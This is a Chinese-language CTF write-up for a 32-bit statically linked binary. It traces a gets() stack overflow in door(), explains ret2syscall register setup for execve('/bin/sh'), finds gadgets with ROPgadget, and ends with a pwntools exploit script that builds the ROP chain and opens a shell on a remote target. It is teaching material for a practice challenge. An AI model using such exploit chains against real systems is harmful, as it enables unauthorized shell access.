一、查看题目信息
$ file 03ret2syscall_32
$ checksec 03ret2syscall_32
程序为静态编译的32位elf文件,没有开启任何保护。
二、漏洞分析
将程序放到ida pro里分析,查看main()
函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_0();
door();
return 0;
}
程序调用了init()
函数和door()
函数,init()函数为初始化函数。
进入door()
函数中分析:
int door()
{
char v1[520]; // [esp+0h] [ebp-208h] BYREF
puts("You may need 0xb");
puts("Good Luck.");
return gets(v1);
}
程序调用了gets()
函数,存在很明显的栈溢出。
三、解题思路
由于该题是静态编译的,并且存在gets()函数的栈溢出,故使用ret2syscall进行攻击测试。
syscall的函数调用规范为:execve(“/bin/sh”, 0,0);
根据函数结构和系统调用表我们知道:
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。
比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。
但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。
eax = 0xb | ebx = address of ‘/bin/sh’ | ecx = 0 | edx = 0
构造payload,先填充到ret返回地址之前,接下来执行ret,这里因为要调用execve函数,所以要将对应的寄存器赋值才能执行。
四、编写脚本
搜索一下寄存器:
$ ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'eax'
选取eax=0x080b8576
$ ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'ebx'
发现ebx,ecx,edx连续的寄存器 ebx=0x0806f250
此外,我们还需要获得 /bin/sh 字符串对应的地址:
$ ROPgadget --binary 03ret2syscall_32 --string '/bin/sh'
bin_sh=0x080ea068
最后我们还需要int 0x80 和 0xb 的地址:
$ ROPgadget --binary 03ret2syscall_32 --only 'int'
0x80=0x0806cea3
就可以构造exp了。
五、EXP
from pwn import *
#r = process('03ret2syscall_32')
r = remote("IP",port)
elf = ELF('03ret2syscall_32')
pop_eax = 0x080b8576
pop_ebx = 0x080481c9
pop_edx_ecx_ebx = 0x0806f250
bin_sh_addr = 0x080ea068
int_80 = 0x0806cea3
payload = b'a'*(0x208+0x4)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh_addr)
payload += p32(int_80)
r.sendline(payload)
r.interactive()
欢迎大家私信交流学习。